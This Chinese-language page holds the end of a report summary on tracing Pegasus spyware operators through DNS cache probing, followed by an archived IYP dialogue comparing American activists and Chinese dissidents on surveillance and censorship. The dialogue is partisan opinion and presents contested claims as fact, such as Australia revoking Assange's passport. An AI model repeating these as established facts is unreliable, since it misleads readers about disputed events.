一旦我们开发了减少误报的技术，我们就为关联到 NSO Group 的基础设施的所有域名探测DNS缓存，这些域名是活动的并且匹配我们的指纹。我们在 TTL 期间至少查询过一次域名。由于存在大量域名和服务器，以及我们希望节省带宽，我们交替使用了正在探测的域名。每

个域名在三天的周期至少被探测过。

可能的限制

诸如使用 VPN 和卫星互联网连接等因素可能会歪曲地理定位结果。因此，这只能作为进一步调查的指南，而不是监测的铁证。此外，DNS 转发器的异常配置（例如使用一致性散列来咨询不同域名的不同解析器）可能会破坏我们的过滤技术并引入误报。

我们不确定我们的方法可以观察到所有 DNS 查询的百分比，并注意到不同国家和ISP的百分比可能差别很大。因此，我们的技术可能已经错过了大量的感染，并且可能无法完全衡量某些国家或 ISP。重要的是，我们的结果中出现了在一个国家/地区的运营商实际上在多个国家/地区运营。我们没有在中国大陆进行任何 **DNS** 缓存探测。

总结

通过报告，我们确定了 Pegasus 在 45 个国家有可疑活动线索，这些入侵攻击活动可能由 33 个不同的 NSO 客户相关的攻击组织掌握实施。通过提取这些攻击组织所使用的 C2 服务器域名，我们执行了 DNS 缓存探测，开展了深入的分析识别和指纹匹配，并最终把各个攻击组织进行了分类。Pegasus 在全球的大肆活动线索，引发了以下让人担忧的问题：

- 一些身份已知的间谍软件滥用机构还在继续使用 Pegasus
- 存在使用 Pegasus 进行广泛的跨境网络入侵监控行为
- NSO 对个人隐私和人权保护的漠视将会导致更多全球网络安全问题

本报告希望能成为一个模版，供中国的调查人士参考。希望能看到更多关于中国的详细调查报告。〇

原文

LR 打破 Matrix 的路 ~ 与IYP对话2020：关于中国和美国 - iyouport

这里是IYP的口袋知识-小册子和电子书长读

【2020年12月11日存档】如果您完全彻底地信任和依赖任何一个政府或党派，今天我们的讨论中大部分内容都可能不适合您；只有当您已经习惯于使用反抗者的身份去思考的时候，才有可能理解这些内容

奶酪还是有的，但需要一点技巧才能得到它

由于疫情导致的出行障碍，今年的年终对话我们在网上进行。这反而更方便了我们与中国朋友的接触。

本次对话邀请了3为来自中国不同领域的朋友：U、C、N，也是IYP的读者，我们可能会聊到一些您从来不会在其他地方听到的事。

本次对话由我（Stone）和 Victor（@EduardVictor_）主持。我负责在线的工作，如写作和扯蛋；victor 负责线下的工作，如沟通和联络，并进行一些实践（预告：我们准备了一个初步的计划，IYP 正在准备逐渐将重心转向 victor 的部分）。

本次对话有一个实验性的主题，即 将美国反抗者群体和中国异议群体放在一起观察，这两个原本可以联合起来以实现最有效的抵抗的群体，却因为互不理解而最终南辕北辙。今年两个最大的热点事件再次暴露了这一问题在中国的普遍性、和它难以忽视的程度。

以下内容经过缩减编辑，以尽可能满足可读性。

📌 提示：如果您对哪些细节有疑问，请点击那部分内容的嵌入链接，以获取更详细的信息和解释。

ℜ：我是最近才读到你们在2017年发布的那篇文章，关于美国反抗者和中国异议南辕北辙的文章，我觉得这篇文章中说的问题放在今年的美国大选中观察，就变得特别有意思。你们现在对这种现象的看法有

什么变化吗？毕竟过去3年了。

stone：其实2017年的这篇文章很粗糙，它虽然说出了问题（并且这个问题直到如今依旧没有变化），但是它没有详细分析，也没有将中国异议和美国反抗者放在一个水平的角度上去观察 —— 它在倾向于对中国异议喊话。

我们对这种现象本身的看法没有变化，虽然特朗普的2016年选举和2020年惊人的获票率让一些中国异议人士“才刚”开始感到诧异，但是，对我们来说，这一切都是完全意料之中的。

victor 长期和全球多个国家的反抗者接触，包括美国，于是他也许可以找到一个“水平的角度”来谈论这个问题。在这方面他有一些经验。

victor：在我的角度上看，中国异议群体相对于其他国家的同行，就如同一个半平行世界。之所以称其为“半”，是因为在某些时候，中国异议群体的确能紧跟上其他国家（尤其是美国）的政治时效，但是，它所跟随的主要是那些拖后腿的时效，而不是进步主义的步伐，不论是左还是右。

将中国异议人士和美国反抗者放在一起对比的价值可能是最大的，超过与所有其他国家的反抗者进行对比；因为这两个国家重叠的部分最多，它们共享同一个监视资本主义体制，具有同样惊人的不平等问题，几乎同样具有全世界最厉害的监视工程，也因此具有几乎同等威胁程度的镇压武器（包括其领导人使用这些武器的决心和兴趣）；此外种族歧视问题（考虑中国维族和藏族人口的待遇）、警察暴力问题（考虑强行失踪和酷刑）、审查和噤声、高涨的民族主义、叙事矩阵 …… 直到目前为止，除了战争狂热（或者委婉一点说是干预主义）在中国还没有明显出现，在其余很多方面，这两个国家的反抗者所面对的是几乎同样的问题。

这就是为什么IYP将中美对比的专栏取名为“高堡奇人”，这个专栏的名字起源于2015年。当年的11月，《The Man in the High Castle》这部经典小说的电视剧版发布了第一季。在那之前，我们的确不知道该如何描述中美之间如此相似却又必然彼此对立的这种状况，这部小说的电视剧版给了我们一个启示。

两个面对几乎同样问题的反抗群体，并且遭受着非常相似的压力和困境，却在现实中如此南辕北辙，这似乎说不通。那么问题在哪里呢？

为了保持那个所谓“正统”的叙事矩阵的完整性，他们一直在努力磨掉异议制造的任何突破性的棱角

𝔑 ：我记得你们讽刺过中国异议的“我最惨”心态，但是在我看来，这就是基本人性，要是不强调自己是最惨最可怜的那个，怎么能给失败找回点脸面呢？

𝔳𝔦𝔠𝔱𝔬𝔯：我依旧希望以避免批评战友为主旨来讲述这些问题，不论如何，毕竟批评不是解决这个问题的方法。事实上，如果您必须作此比较的话，公平地说，在物理层面上美国反抗者才是“最惨”的那个——

1、他们面对的是全世界最厉害的、资金最丰厚的间谍机构的追踪监视；尤其是，美国异议的对手在全世界享有广泛的情报共享优势（您一定知道5、9、14眼）、以及数不尽的“盟国”—— 这意味着，如果美国反抗者不得不逃离自己国家的维稳，他们的目的地选项将非常少。

您想知道这些盟友会怎么做吗？看看 Julian Assange 就行了；美国一生气，Assange 的祖国澳大利亚就迅速撤销了他的护照，在美国面前，澳大利亚自己的公民不如草芥。那么对比一下， 中国生气之后，瑞典不仅没有废除桂敏海的护照，而且站出来保护自己的公民。您知道，Assange 是土生土长的澳大利亚人，而桂敏海是瑞典的华裔移民。

这样的例子可以随便找到一大堆，如果您想要的话。

相比下，中国异议可以随便逃到任何一个西方国家以躲避北京当局的追捕，随着今年的冠状病毒大流行及其后全球经济恢复的高度不平衡速度，尤其是（就如经济学人的用词）“中国吹的牛皮”，北京在树敌方面的进展将前所未有地迅速。

我们由衷地赞美瑞典当局的勇敢和正义，但如果这份勇敢只是在面对北京那样的政府时才能表现出来，那么我们不得不承认，美国反抗者所面对的危险要高于中国反抗者。

2、美国反抗者面对的是几乎无处可逃的互联网审查。

这个互联网被中美两国瓜分，这点上是最“高堡奇人”的特征。这正是如今每个人都知道的事 —— 要么苹果要么华为、要么百度要么谷

歌、要么腾讯要么 Facebook …… 我们称之为红蓝药丸的困境。

中国异议可以翻墙到 twitter 和 Facebook 以躲避中国巨头BAT的审查监视；而美国异议绝无可能进入“中国的互联网”，因为这里没有他们的受众群，尤其是，他们也绝对不会（像中国异议那样）为了反抗自己的帝国而去跪倒在另一个帝国的靴子下。

以下 *仅仅* 是最近的例子：

这是一位流亡他国的美国活动家，他遇到的状况发生在大选后推特忽然集中审查左翼组织和个人的同期

这是在大选投票后突然出现的集中审查，一些活跃的左翼博主和组织被推特封锁，英国著名异议艺术家 Roger Waters 用行为艺术表达对审查的反对。

他说这条内容他发了3次都没有显示出来。Impressions 只有个位数，这是对于一个拥有近160万关注者的博主来说

只举这几个例子，其他还有很多。或许您还记得这篇文章，关于什么是“影子禁令”，这是一种您无法绕过的秘密审查制度。

IYP 的读者中很多技术人士，您一定会问“美国反抗者为什么不去 Pleroma？或者 Mastodon”，是啊，为什么不呢？去中心化不正是我们呼吁的技术反抗直接行动吗？

要回答这个问题，就必需先回答另一个问题：他们为什么想要留下？

IYP 转发过一个帖子，它可以明确解释这件事：《为什么动员人们离开寡头服务会失败》。在这点上，中国异议人士和美国反抗者有着共同的麻烦。

𝔘：我有长毛象账户，用了有一年多了，但是长毛象上中文太少，影响力特别差，结果是我依旧保留着推特账户。

𝔳𝔦𝔠𝔱𝔬𝔯：正是如此！对于美国反抗者来说，在他们成功动员到足够多的人集体转移之前，他们无法离开 twitter；如果他们现在离开，就相对于将阵地交给了对手 —— 这些寡头之所以制造审查，正是为了保持那个所谓“正统”的叙事矩阵的完整性，他们一直在努力磨掉异议制造的任何突破性的棱角。

换句话说，异议的坚守 —— 不论有多困难 —— 都能减缓审查者达成

其目的的速度。

𝔈：很多年前在中国也曾经有过这样的思考方法，认为 “我们需要留在微信/微博，以推墙”，后来人们发现这是不切实际的。

𝔳𝔦𝔠𝔱𝔬𝔯：对于美国反抗者来说，和中国的推墙还不同，这里并没有一个实体的 “墙”，没有那个 GFW，它本身就是一个虚拟的 “世界”。中国异议可以有办法绕过GFW，并且这种躲避审查的行动不论如何都会被称颂；而对美国反抗者来说，“逃离” 就是它字面的意思 —— 就是懦弱，就是屈服，就是放弃阵地；这不仅得不到动员效果，并且尤其是自我束缚，因为没有任何另一个平台能给异议人士以可企及 **Twitter** 和 **Facebook** 的影响力。

3、美国反抗者最初有一个明显的兴趣倾向，那就是，他们中很多人认为如果他们选择使用比如 TikTok、以及华为，会 “更安全”。您一定感觉这很荒唐，是吧？但在他们的角度上，这是有道理的。

我将从一个最简单的层面解释这件事。

IYP有 “开源情报” 栏目，该栏目的主旨是帮助人们了解间谍机构会如何利用互联网追踪他们想要的任何人；开源情报中最重要的一个部分就是社交媒体情报，您可以通过最近我们对BLM反抗运动的系列文章中看到《警方如何通过社交媒体追踪和逮捕抗议者》—— 这种追踪抓捕方式在中国已经被使用了近**20**年！

那么，美国反抗者为什么倾向于选择 TikTok 呢？因为就如微信那样，这些中国应用都很难对其构建外部的强大的社交媒体情报搜集工具，就如下面这种：

也就是说，要么你很有钱，走监视资本主义规范流程—花钱买数据，要么借助情报共享—利用公私监控伙伴关系（IYP的列表中有一个同名板块，您可以通过其中汇总的内容来了解这种合作）。

您能看到，这两种途径对于监视使用微信和 TikTok 的美国反抗者来说都不那么容易。

也就是说，微信和 TikTok 基本上可以作为美国异议躲避FBI和NSA的比较有效的方法，*理论上* 是这样。仅仅是理论上！

但是，就如很多中国人曾经怀疑的 —— “北京和 Facebook 暗通款曲以识别抓捕中国异议” 那样，TikTok 已经被正式揭露帮助美国警察抓捕BLM抗议者。

Facebook 是否真的出卖了中国用户的数据给北京？至今都不知道，没有吹哨人，无法证实。但是，TikTok 被 Blueleaks 泄漏的警察内部文件揭露—— 这家中国公司帮助美国警察识别并抓捕美国的抗议者。

反过来看，北京要想在 Facebook 和推特那样的地方抓住中国异议，是非常简单的，因为在美国寡头平台上构建第三方的社交媒体情报工具，特别简单—— 再一次，他们这样做已经近20年了，在这里看到具体解释。

而在中国微信和 TikTok 上构建同样的社交媒体情报工具，特别不容易。（顺便说，TikTok 推出后，它便成为了开源情报社区垂涎的新宠；正是由于追踪 TikTok 很不容易，于是这群梦想着有朝一日能为FBI工作的开源情报玩家们，都在努力攻破 TikTok，以此为自己的简历添加一些 “骄傲”。）

换句话说，华盛顿间谍可能不容易抓到使用微信和 TikTok 的美国抗议者，除非这些间谍能说服腾讯和字节跳动的合作以出卖美国用户；而北京间谍基本不需要 Facebook 和推特的合作，也可以做到同样的事。甲骨文是中情局资助的，很多人似乎还不怎么了解这点。 中国人喜欢嘲笑美国用户“逃离”到中国的或俄罗斯的服务上以躲避自己国家的间谍机构，其实这与中国人逃离微信到推特、逃离百度到谷歌是一样的。这就是高堡奇人的红蓝药丸困境。除非实现真正的技术民主化，否则你逃到哪里都没有本质区别。被寡头科技公司出卖的吹哨人在美国被判*50*年监禁，这就是为什么美国人想要逃离他们的间谍机构的眼界。也是为什么美国异议人士期待一个多极世界 – 因为他们是最辛苦的，相比下中国人可以逃离到大多数国家以躲避北京，而美国人的选择非常少

𝔠：嗯，我想说，人们大多时候能看到的都是美国巨头怎么舔北京，就像扎克伯格天安门跑步那样，特别丑的东西，人们也爱传播那样的东西，但是很少能看到类似抖音怎么和美国间谍合作的揭露，说句极端点的话吧，就算看到了，很多中国人也会支持这种合作，就像你看见那么多中国人反对BLM运动 …… 他们恨这些美国反抗者，他们似乎一直觉得美国政府是“永远是对的”。

victor：我能预想到这点。stone 也许也可以预想到，这就是为什么在开始这次对话之前我们俩讨论了今天计划的主题，stone 认为我们将涉及到的 “是一个可能在中国有争议的领域”。

stone：但最终我们采取了这个计划，我们认为如果一直躲避争议

—— 尤其是这种源于无知而导致的争议 —— 是不现实的。

再一次提示 ~ 如果您对哪些细节有质疑，请点击您怀疑的那部分内容的嵌入链接，以获取更详细的信息和解释。如果我们缺少了哪部分的解读，请留言告诉我们；如果您提出的问题是IYP曾经解释过的，我们将不再赘述。

victor：关于 “未知”，仅仅是中国异议人士普遍对美国反抗者的 “未知”，而美国反抗者对中国异议人士的了解是足够丰富的。而且，再一次，如C所言，这种不对称的了解导致了一些明显的误会。

C：为什么会有不对称的了解？为什么美国异议会了解中国异议？

victor：这来自于中美反抗者之间一个最明显的差异 —— 中国异议人士对美国宣传单位的信任度非常高，比如那些企业媒体和政府外宣，这些宣传机构经常会报道中国政府的压迫和中国异议人士的思想。这本身是一个很好的帮助，让在本土被扼杀的声音在 “对手” 国家的平台上能够存活下来，（我们后面还会具体谈论这件事）。

这就是美国反抗者对中国异议人士的了解的主要来源之一；另一个主要来源是，美国反抗者相比下更擅长跨国联盟，他们喜欢观察其他国家的反抗者的思考（不仅仅是中国），从中发觉可以形成联盟力量的部分。这是一种压力激发的行动力，正如上述分析所显示的，美国反抗者如果将力量局限在本土，难度将非常之大。

与此同时，相比下美国反抗者绝对不会信任其他国家的宣传单位 —— 当然包括但不限于中国，因为他们知道宣传是什么，叙事矩阵是如何构成的。于是，中国宣传单位对中国异议人士的抹黑和强迫认罪等卑劣的操纵舆论手段，不会影响到美国反抗者对中国异议人士的了解。

但是，反过来，由于中国异议人士对美国宣传单位的高度信任和依赖，导致美国宣传机构对美国反抗者的抹黑在大批中国人心目中根深蒂固，甚至包括那些移民美国多年的华裔异议 —— 他们中甚至极少有人与美国当地的反抗组织接触，更不用说交流和合作了！

于是，这些在美国本土生活的华人异议移民使用中文带入中国舆论场的认知基本完全地来自华盛顿，美国反抗者被中国舆论场自动屏蔽了，这就是人们对**BLM**、对边境移民大篷车、对**Antifa**的深度误解的根源。

也是这种 “不对称了解” 的来源。另一个原因是，北京当局的对外操

作模式和莫斯科有一些根本性的不同，北京更愿意扮演受害者，而不是主动出手的反击；比如在特朗普的贸易战和关闭使馆行动中您就可以看到这点，中国一直在扮演受害者，也就是说，华盛顿动1分，北京就跟着动1分，绝不将其升级到2或3分。

莫斯科则不同，它会主动去“利用”美国反抗者的遭遇、甚至全球被华盛顿针对的人的遭遇。很简单可以看到这点 —— 在特朗普时代中美关系下降到冰点，而就在这个时候，美国政府发起了完全违宪的起诉，要制裁全球最可靠的吹哨平台的创始人175年的监禁，Julian Assange，只因为该吹哨平台曝光了华盛顿的阴暗面。

这场愚蠢的引渡听证会就发生在中美关系冰点的时刻里（在这里看到听证会笔录：第一部分；第二部分），然而中国完全没有任何想要“利用”这点的态度，我们有来自中国的可靠的消息来源可以证实。

莫斯科在此则截然相反。在所有美国企业媒体 —— 那些占据90%认知市场份额的家伙 —— 对 Assange 的听证会保持着彻底的沉默的时候，RT成为了美国反抗者一个可以发声的替代方案。这些美国反抗者不会考虑中国，完~全~不~会~考~虑，由于北京的受害者角色癖好，在很多美国反抗者 —— 尤其是那些面临高度危险的人看来，目前为止中国都不足以被作为一个可能的多级世界的“种子选手”（后面我们还会继续讨论这件事）。

这不是在所谓的贸易战中才凸显出来的特点，在N提出的2017年那篇文章中，IYP也简要提到了斯诺登逃难的故事，斯诺登以香港作为周转，但是他根本不会去考虑中国，因为上述这种状况在美国反抗者心目中的印象格外突出，即 北京很可能不是多极世界的可选项，至少北京是个懦夫，甚至值得怀疑 —— 北京是否与华盛顿之间存在某种深层的隐秘的暧昧关系。

包括斯诺登在内的吹哨人，这些愿意用生命拯救民主真相的人们，绝对不会拿自己的生存机会押注在一个不可靠的国家身上；尤其是，这个国家甚至几十年来都没有大规模的反抗运动出现，那种在真相遭遇侵蚀时可以一跃而起对政权形成有力挑战的抗议运动，没有。这种状况下，一旦美国吹哨人被北京当局“送给”华盛顿，基本无法期待中国内部的反抗力量能够崛起与全球反抗联盟形成内外夹击的力量。

这是美国反抗者的战略性思考。

𝔈：还真是，把美国吹哨人当成礼物送给华盛顿，这个北京还真干得出来。

𝔘：我是围观过斯诺登逃难的互联网原住民，当时斯诺登在机场被困了一个月，就是因为最初承诺给他庇护的国家都在美国的压力下撤销了承诺。有的是图美国的钱（援助），有的是害怕美国的导弹，所以我觉得美国异议对中国的怀疑一点都不奇怪。谁又能做得到呢？“多级世界”？几乎不现实啊。

𝔳𝔦𝔠𝔱𝔬𝔯：如前面我们的分析，美国反抗者面临的危险是全世界反抗者中最大的，这就是为什么他们比任何国家的反抗者都期待一个多级的世界，以允许他们在不得已的情况下找到一个避难所。

不论想要做到这点是不是“现实”，他们这份期待是完全可以理解的。就如中国敏感人士在寻求避难的时候第一应该想到的问题就是 —— 哪个国家能扛得住北京的压力。

𝔰𝔱𝔬𝔫𝔢：我们已经讨论了很多美国反抗者和中国异议群体之间的差异，我觉得是时候进入“共同点”部分了，这两个群体之间的共同点是什么？

𝔳𝔦𝔠𝔱𝔬𝔯：讨论共同点的确能让两个群体显得更亲密。但这也是一个艰难的话题，尤其是当我们使用中文讲述这些的时候 —— 您知道，如今依旧有很多中文读者将华盛顿预设为“好”，将北京和莫斯科预设为“坏”，后者是正确的！但前者不正确，至少在我们今天需要探讨的问题的方面，它严重不正确；因为我们探讨的主题需要站在一个超越地图平面的角度上来通览存在于全球的专制手段和暴行，不论它是哪个国家、哪个政府、哪个党派实施的，它都一样 —— 是恶。

如果您完全彻底地信任和依赖任何一个政府或党派，今天我们的讨论中大部分内容都可能不适合您；只有当您已经习惯于使用反抗者的身份去思考的时候，才有可能理解这些内容。

好了，现在我来说说“共同点”。

> 如果你摔倒了，那就好好哭一场，只期待自己有一天能再次站起来。

𝔳𝔦𝔠𝔱𝔬𝔯：关于共同点：

1、敌人的敌人/对手的对手

我们在中国听到了一些嘲笑“敌人的敌人”思考方式的意见，但某些时候，它是一个您不得不利用的工具。

这里首先有一个背景，是中国异议和美国反抗者不同的地方：那就是，在美国，被寡头权势控制的企业媒体 *真正* 占有**90%**以上的认知市场份额，独立媒体和组织的平台一直被严重边缘，甚至被算法专制所压迫，想要搜索到它们都很困难。

而在中国，已经有很多人将官方媒体的报纸和网站当作笑话看，与此同时，自媒体（可能不是独立媒体！）的发展在悄无声息中逐渐上升 —— 我们在中国的微信公众号中甚至找到了无政府主义者维护的账户（为了他们的安全我不会在此提及他们的名字）。

我不想去讨论中文语境中 “自媒体” 这个词该如何定义、它们有哪些问题、什么是擦边球等等，我认为您对此有很清楚的判断；我也并非暗示中国的审查 “不够严重”，绝 ~ 不 ~ 是那样，中国的审查制度之苛刻在全世界臭名昭著，这些您都早已熟知。而这里想要说的是 “敌人的敌人/对手的对手” 的思考方式，它是美国反抗者和中国异议人士之间的一个明显的共同点，两个群体都在使用这种方法来躲避各自本国的审查噤声。

这其中的差别仅仅在于，美国反抗者在此有着更为迫切的需求，并且，尤其是 —— 正如上面所讲述的 —— 可供美国反抗者逃离的选项非常之少。中国异议人士可以随便在任何一个西方国家（或者完全可以说，在任何一个不在**BRI**路线上的国家）找到替代性的发声平台，而美国反抗者不仅要考虑作为替代选项的国家是不是华盛顿的盟友、是不是全球最厉害的3字母间谍机构的情报共享联盟成员，还要考虑，此替代者是否能扛得住美国的压力。也正是最后这一考虑，让他们的选项仅仅只剩下一个国家了，那就是俄罗斯。

再一次，中国 *本应该* 不在考虑范围之内，原因如上述。为什么说 “本应该”，而不是 “绝对”？我们后面再继续讲述这点，因为它现在有了一些变化。

逃避自己国家的审查和噤声，这就是美国反抗者和中国异议人士的共同想法 —— 然后就是你看到的事，美国反抗者走进了俄罗斯外宣 RT，中国异议走进了美国外宣美国之音。

这不是他们的错，并且必须强调，美国反抗者绝对不会信任这个替代选项！（这里以RT为例），他们只是在寻找一个可以对他们反抗的目标产生辐射性覆盖的、并且能抵御他们的对手的政治压力而不至于因此而压制他们的声音的替代性选择。

但相比下，中国异议人士是否已经开始信任甚至依赖美国和其他国家

的外宣了呢？我不会完全肯定或完全否定，因为在我的了解范围内它已经有着可见的不同，但整体上，中国异议对其他国家的外宣的信任和依赖之程度，肯定高于美国反抗者，因为后者在这个指标上是0。

2、对渗透的恐惧。

IYP 今年搞了一大堆关于政治渗透的历史、渗透的操作方法、如何应对渗透等等话题，如果您想要继续听这个话题，一会让 stone 来讲，毕竟他是做在线内容的。我负责线下，于是我只介绍我这部分中发现的东西。

必须肯定的是，不存在没有渗透的反抗和异议组织，每一种民间组织都有被安插线人，不论您是行动派还是表达派，对维稳者来说并无区别。

人们会担心吗？肯定会，就如您在中国看到的，人们之间的互信程度不断下跌，“抓特务”搞得乌烟瘴气。不论是中国人还是美国人，都会被渗透的威胁所侵害，都会表现出类似的反应，其中一些反应不仅不明智导致打草惊蛇，并且还破坏了自己的组织的凝聚力和反抗能力。

我们在中国了解到的渗透疑点似乎没有什么战略性角度的规律，它更像是大撒网，当局似乎旨在不放过任何一个“盲点”—— 请注意，这里所指的是“疑点”，很大程度上没有确切的证据能表明某人是渗透者，但是有明显的迹象值得怀疑。这并非由于中国异议人士的粗糙，调查渗透在很大程度上并不是容易的事。除非有吹哨人，曝光间谍部门的机密文件，或者你直接拿到嫌疑人接受间谍机构资金的证据。

在美国也是如此，人们只是看到了同伴被抓捕、本应该保密的聚会地点被连锅端，而在很多年之后的追查中才得出关于这是为什么的答案。但不同的在于，从美国方面收集到的渗透案例基本都是确认的，并且尤其是，它的部署具有明显的战略性目的。

不论如何，渗透的存在对所有人都产生了影响，不论是中国人还是美国人，不论是行动者还是表达者。

人们的反应大体上可分为两种，一种是以大方向为目标，选择性忽视疑点；另一种就是，由于厌倦和疲于勾心斗角，而退出行动。在美国，前者占据大部分。

美国反抗者中一种被推荐的抵制渗透方式就是柔化加利用 —— 不论你来这里是什么目的是什么、你代表谁的利益，我要看你做的事、你

说的话，将其中符合我们的奋斗目标的部分提取出来加以利用，即 壮大我们自己的声势；对其中有悖于我们的目标的部分进行削弱，限制那些存在疑点的人对行动组织的控制权份额。也就是说，不让可疑者掌握主导性权力，这样做以保证行动的主导权始终掌握在反抗者自己人的手里。

IYP有文章讲述过信任分级的原则，在这里是一样的操作方式。如果您发现了可疑的渗透者，而您的行动仍在进行中，这个时候避免紧急曝光渗透甚至可以帮助您的行动按计划进行下去，相反，如果过早地揭露渗透，不仅会打击行动本身、令“军心涣散”，给了对手可乘之机，甚至，会令在野在支持者产生疑惑，他们由于不知情，而不得不重新考虑对您的行动的支持。

换句话说，揭穿渗透，同样需要战略性思考方式。

3、绝望感的蔓延。

IYP 在 “整体安全” 系列第1集的导语中对这个问题写得很明白：

是的，维稳者之所以做那些事，正是为了让反抗者绝望，“溶解” 和弱化反抗心态。这在任何国家都是一样的，不论是中国还是美国。

如上的分析，美国反抗者有更大的压力，他们的绝望感有着您难以想象的庞大。亲眼看着曾经自己信任的队友叛变，看到失败后人们沮丧地散开，看到动员力最强大的运动领导者被当局和公司收买，看着自己孤零零一个人被大群的洗脑受害者围殴 …… 看到其他国家迫于华盛顿的压力而纷纷对美国的异议关上大门，

𝔑：中国人也遇到这些，你说的这一切中国都有。

𝔳𝔦𝔠𝔱𝔬𝔯：是的！这就是为什么说绝望是中国异议和美国反抗者的共同点。但不同点在于，美国反抗者能学习到如何安慰自己，如何保存自己的战斗力 —— 你也许无法保证队友的战斗力，但你可以保证自己的；如果有足够多的人能做到保证自己的战斗力，我们最终就能再一次凝聚起来。

正如美国反抗者的口头禅：如果你摔倒了，那就好好哭一场，只期待自己有一天能再次站起来。from Banksy

4、可预见的和糟糕的偏执。

这里存在一种偏执，它是长期高压状态下的必然的心理产物。这点上

中国异议和美国反抗者都存在。

然而，不同点在于，不论在美国本土还是中国，美国反抗者所产生的偏执都极难得到同情和理解；相反，中国异议人士的偏执，不论在中国本土还是在美国，都会得到理解，甚至被称颂和支持。

想要测试一下吗？您可以用一个非常简单的问题去询问任何普通人："你觉得北京的帮凶和华盛顿的帮凶，这两个词哪个更好听一点？"我敢保证，90%以上的人都会告诉你，后者"更好听"。在大多数人心目中"华盛顿的帮凶"甚至是一种赞美！

𝔘：哈哈哈，很对，在中国你说谁崇洋媚外，那简直是高抬对方了，而在美国就完全相反，"不爱国"是一种道德败坏的表现，而且是个罪名……

𝔳𝔦𝔠𝔱𝔬𝔯：是的，臭名昭著的"爱国者法案"，我们无需探讨该法律的条款有多暴力和充满争议，但它的名字就源于——"爱国是基本道德"这一价值观的普遍性深入人心。而在中国，在很大程度上爱国是贬义词。

那么上面这个问题的准确答案是什么？究竟哪个"更好听"？事实上并没有更好听的，如果您站在我们这样的超越高堡奇人的角度上看问题的话，"北京的帮凶"和"华盛顿的帮凶"两者意味着同一件事，那就是，你是帝国的奴才，强权靴子下的草芥。你没有反抗精神。

而我们正在讨论的"偏执"这个共同点，恰恰是一小部分美国反抗者和大部分中国异议人士没能真正跳出高堡奇人的幻境，所导致的结果。高堡奇人这个故事中所讲述的也是这种状况——把希望寄托于对手国家。

这里说的"一小部分"美国反抗者的比例大概在5%左右，"大部分"中国异议人士的比例可能超过80%。

这一极化的表现是这样的。我先说中国异议人士，对于大家来说，它更为直观和容易理解。

由于北京的叙事矩阵漏洞百出（甚至党国不分），正如上面这个小测试问题所显示的，不论北京如何宣传爱国精神，人们已经存在的抵触心理都没有明显淡化。

正因此，长期以来很多中国异议人士倾向于完全相反地去理解北京的任何表达，这也许可以是个保持异议角色的"捷径"——你说是，我

就说不是，如果你说不是，我就强调绝对是。

同理，美国反抗者也get到了这个捷径，但不同的在于，大多数美国反抗者会思考，他们努力避免自己掉进“比恶”的深渊里。

如您所知，每个强权都是撒谎成性的东西，权力就构建在谎言之上；谎言越大，迷惑性越强，当你用谎言构建了一个完整的 **matrix** 时，所有人都会被“装进去”，再也看不清什么是真实什么是虚构。

大部分美国反抗者一直在避免自己掉进 matrix，这是一种持续多年的异常辛苦的挣扎，你必须时刻保持警惕，不仅不能被共和党的红脸所刺激，也不能被民主党的白脸所蒙蔽。

所以您可以理解到，上述类似于中国异议发现的“捷径”，对于美国反抗者来说所具有的吸引力可以多么强大。

就在这种情况下，美国反抗者中大多数人依旧努力保持着自己的清醒，他们说：“我们应该谴责中国的流氓政府，尤其是我们必须避免我们自己的政府和寡头变成同样的流氓”。

但是，的确有一小部分人出现了极化，其表现方式和中国异议的极化方式完全一样，即 将政府（自己的对手）说的一切都去反着理解，其中就包括华盛顿对北京的批判，被反着理解了。

请注意，华盛顿对它的对手北京的批判并非错误，只是很大程度上话说了一半；比如华盛顿声称北京审查好莱坞，这是正确的！每一个权势都明白一个简单的道理：如果你能操纵叙事，你就能操纵人们的认知，如果你能操纵人们的认知，你就能操纵整个世界。这就是为什么他们要控制一切媒体，从书本到报纸，从电视到电影，从收音机到互联网 ……但它没有说出的是，美国对好莱坞的审查和操纵已经几十年之久；

再比如，华盛顿说中国监视互联网，这完全正确！但没有人会忘记斯诺登揭露的一切；有记录的历史可以清楚地表明，在较大程度上，北京的肮脏手段只祸害它自己的国民，以及它自以为是自己的领土上的国民。而美国的同类手段，完全不分国界。

再再比如，对抖音的禁令如何令人五味杂陈；华为之战如何导致技术的巴尔干化的灾难 …… 非常建议您点击这些链接阅读详情，如果您曾经错过或忘记了这些内容。**IYP**的“高堡奇人”专栏中收集的内容都可以帮助您理解这件事，尤其是“作恶者：谁在帮中国”栏目中的汇

总，其中大部分案例都是来自美国。我不会在这里做更详细的分析。

这还可以继续写下去。

想象一下，把所有这一切完全反向理解，其结果是什么样？…… 这种极化令人困惑。

说良心话，美国异议极化的人数比重只有5%左右，但是，在一些著名的异议人士的公开宣称的推动下 —— 比如 Max Blumenthal，他被中国外宣小报 “环球时报” 所利用 —— 这种极化似乎显得过于突兀了。（在这里看到他在环球时报的文章 ）

我称之为 “可预见的” 偏执，因为它就建立在美国反抗者对华盛顿树外敌之 “习惯” 的普遍反感之上。这种反感由来已久。您可以通过简单的搜索以了解这种反感情绪：使用图片搜索 “Trump, China, bicycle, meme” 和/或 “Hillary Clinton, Russia, bicycle, meme” ，您可以找到一系列流行的3格漫画（如果它们还没有被全网删除的话），那就是对此的讽刺。

中国人应该非常容易理解这种偏执的由来，想象一下，北京的宣传将所有国内问题都声称是 “别有用心的外国敌对势力的操纵”（是的！他们确实这样做了！）您觉得中国异议人士在这种情况下会如何反应？现在您觉得可以理解美国反抗者中存在的这种偏执了吗？

但是，我们绝 ~ 不 ~ 能支持这种偏执，尽管可以理解；因为这种偏执本身是一种被绑架的结果，被对手的对手所绑架；我们支持大多数美国反抗者超越高堡奇人的思考方式 —— 我们要走出这两个超级大国比恶争霸的虚幻世界。因为我们知道我们自己想要什么样的世界。

𝔑：我可能想象到你说的偏执是什么了。美国异议的偏执就是让北京受益，中国异议的偏执就是让华盛顿受益，然后两边政权互相利用对方国家的异议偏执。

𝔳𝔦𝔠𝔱𝔬𝔯：是的！

𝔑：这就麻烦了 …… 我该怎么分辨究竟是偏执的异议，还是被北京收买的外宣工具？

𝔳𝔦𝔠𝔱𝔬𝔯：好问题。其实并不难分辨，外宣工具的特点是对人不对事；而即便是偏执，其依旧符合异议的所有特点，即 对事不对人。

举一个最近出现的例子，一个新闻《Australia-China relations hit

rock bottom after provocative tweet by senior Communist Party official》。

中国外交部发言人赵立坚使用了一个虚假的照片，照片中显示一名澳大利亚士兵割喉杀害一名阿富汗儿童。此事引起了澳大利亚的愤怒，澳大利亚总理要求中国的赵删除这条推文。您可以阅读上述报道以进一步了解此事。

